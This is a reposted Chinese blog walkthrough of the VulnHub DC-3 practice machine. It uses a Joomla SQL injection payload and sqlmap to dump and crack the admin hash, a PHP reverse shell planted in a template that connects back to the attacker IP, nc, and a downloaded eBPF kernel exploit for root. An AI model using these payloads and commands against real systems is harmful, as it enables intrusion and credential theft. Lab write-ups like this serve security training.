0
0

DC-3靶场实战详解

环境安装

前面安装了老版本的DC-3几次,nmap都扫描不到机器，后来琢磨了很久也找不到问题，然后我去官网重新下载了个就没问题了

官网地址：https://www.vulnhub.com/entry/dc-32,312/

KALI和DC-3都用NAT模式.

image-20220126111501966

DC-3需要多修改一些东西

把IDE里面的改成IDE 0:0

image-20220126111733346

都完成后开启KALI与DC-3

寻找FLAG

信息收集

1.首先确认kali与DC-3所在网段

ipadd

image-20220126112423509

确认kali与DC-3所在网段为192.168.79.0/24网段

2.查找DC-3 ip 可以使用nmap 或者 arp-scan

方法一：
    arp-scan -l
方法二：
    nmap -sP 192.168.79.0/24

image-20220126112722328

image-20220126112652973

最终可以确认

kali ：192.168.79.128

DC-3 ：192.168.79.131

  1. 扫描DC-3开启的服务
nmap -v -A 192.168.79.131

image-20220126124409319

image-20220126124513610

通过扫描可以发现 DC-3开启了80端口 并且使用了Joomla! cms

4.访问网站192.168.79.131

5.扫描敏感目录看看

我这里使用的是7kbscan-WebPathBrute.1.6.2用御剑也是一样的

image-20220126125439174

image-20220126125421935

找到后台登录网站。

因为是常见的cms,所以我们直接扫Joomla! cms常见漏洞

漏洞扫描

1.安装onlinetool(在线cms识别|信息泄露|工控|系统|物联网安全|cms漏洞扫描|nmap端口扫描|子域名获取 在线工具安装)

地址 https://github.com/iceyhexman/onlinetools

我们这里kali 192.168.79.128 安教程部署就可以了

git clone https://github.com/iceyhexman/onlinetools.git
cd onlinetools
pip3 install -r requirements.txt
nohup python3 main.py &

2.安装完成后访问 http://192.168.79.128:8000/

image-20220126130011338

3.使用里面cms漏洞扫描

image-20220126130044512

image-20220126130149793

4.测试payload的有效性

payload:
http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,Md5(1234)),0)

image-20220126130303660

确认payload有效

5.既然是SQL注入漏洞 配合sqlmap 以及前面目录爆破出来的后台登录网站，来登录后台

我这里使用是sqlmap windows的版本

python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --dbs

//*表示注入位置 
//查询所有数据库

image-20220126152329289

image-20220126152506635

得到下面5个数据库 既然是joomla! 那我们也顺其自然的查询joomladb 数据库

python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" --tables
//查joomladb 数据库下面的表

image-20220126152805130

image-20220126152831903

一共有8 90条 有一个#_users 看样子里面就应该有相关后台信息

接下来查询#_users表内的列名

python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" -T "#__users" --columns
//查询#_users表内的列名

image-20220126153144402

都是一路y或者回车

image-20220126153328743

确定列名 账号密码一般为“username,password”

获得表中的账号密码

python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" -T "#__users" -C "username,password" --dump
//读取指定字段内容

image-20220126153711605

image-20220126153732404

获得账号密码

±---------±-------------------------------------------------------------+
| username | password |
±---------±-------------------------------------------------------------+
| admin | $2y

     10
    
   
   
    10
   
  
 10DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |

±---------±-------------------------------------------------------------+

6.密码为md5加密 可以使用kali内的john 解密

创建文件
touch admin.txt   #创建文件vi admin.txt      #编辑
john admin.txt    #破解

ps：
  因为我以前破解过使用所以显示这个
      Using default input encoding: UTF-8
    Loaded 1 password hash(bcrypt [Blowfish 32/64 X3])
    No password hashes left to crack (see FAQ)
  这是以及破解过的意思
john --show admin.txt  #查看admin.txt以前破解过的结果

image-20220126154137187

得到密码为 ：snoopy
  1. 登录后台

image-20220126155138389

反弹shell

通过对后台的各种查询，发现Extensions->Templates里面的模板可以执行PHP脚本

image-20220126155322023

image-20220126155432643

随便找都可以，里面路径都有写

image-20220126155542785

当系统没有禁用proc_popen的时候，我们是可以借助proc_popen轻松反弹这样的一个shell的。
$sock = fsockopen("192.168.79.128", "5555");

$descriptorspec = array(

        0 => $sock,

        1 => $sock,

        2 => $sock

);

$process = proc_open('/bin/sh', $descriptorspec, $pipes);

proc_close($process);

image-20220126162946897

之后保存访问http://192.168.79.131/index.php

kali内使用nc 接受反弹的shell

nc -lvvp 5555

image-20220126163138366

浏览器访问http://192.168.79.131/index.php

可以发现kali内接收到shell

image-20220126163228079

python -c "import pty;pty.spawn('/bin/bash')"
//使用python 弄交互式页面

image-20220126163400015

发现权限不够

image-20220126163558791

提权

SUID啥的都不行，于是考虑系统漏洞提权

cat /etc/*release        #查看发行版信息

image-20220126173607424

cat /proc/version  #查看内核版本的全部信息

image-20220126174053528

可以判断为Ubuntu 16.04 LTS 内核为Linux 4.4.0-21

查看kali本地漏洞库里面的exp

searchsploit Ubuntu 16.04

image-20220126180522327

对应版本的几个都试了 发现 39772.txt可以

查看exp

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

写了exp地址

image-20220126180702393

本地下载即可

kali好像下载不了 我本地下载 然后拉到kali里面

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

image-20220126180918196

开启apache

systemctl start apache2.service

image-20220126180952210

移动39772.zip到指定的apache的目录下

mv39772.zip /var/www/html

image-20220126181055139

浏览器访问 kali IP：192.168.79.128

image-20220126181231610

复制下载链接

http://192.168.79.128/39772.zip

回到前面的DC-3的shell中下载刚刚上传的exp

wget http://192.168.79.128/39772.zip

image-20220126181415708

解压exp

unzip39772.zip            #解压39772.zipcd39772#进入39772tar -xvf exploit.tar    #解压缩exploit.tar

image-20220126182103895

image-20220126182120869

进入 ebpf_mapfd_doubleput_exploit 运行exp

cd ebpf_mapfd_doubleput_exploit

image-20220126182233268

运行方法 前面kali里面 cat /usr/share/exploitdb/exploits/linux/local/39772.txt 文件内写了

image-20220126182328407

运行compile.sh ， doubleput即可

./compile.sh
./doubleput

image-20220126182538031

等一两分钟就可以了

image-20220126182618079

FLAG

root目录下有flag，获得flag

cd /root
cat the-flag.txt

image-20220126182819138

总结

  • nmap,arp-scan主机扫描
  • cms漏洞扫描
  • sql注入漏洞sqlmap配合payload
  • 敏感目录爆破
  • php反弹shell的编写
  • 系统漏洞提权
标签： linux 安全
本文转载自: https://blog.csdn.net/a310034188/article/details/122709729
版权归原作者 a310034188 所有， 如有侵权，请联系我们删除。
登录后发布评论

“DC-3靶场实战详解”的评论:

还没有评论
关于作者
...
overfit同步小助手
文章同步
相关阅读

Linux系统安全研究_linux最新研究问题

基于django+vue+Vue公共卫生安全信息管理系统的设计与实现【开题报告+程序+论文】-计算机毕设

Ubuntu | 右上角网络图标消失，有线网络在设置中消失，虚拟机没网

如何在 Ubuntu 16.04 上使用 Let‘s Encrypt 为 Apache 添加安全证书

PhakePHP：PHP单元测试与BDD的Mocking框架实战指南

AMD锐龙8845HS+780M核显 虚拟机安装macOS 15 Sequoia 15.0.1 (2024.10)

pycharm配置git并上传代码，分支创建及管理操作流程

文章导航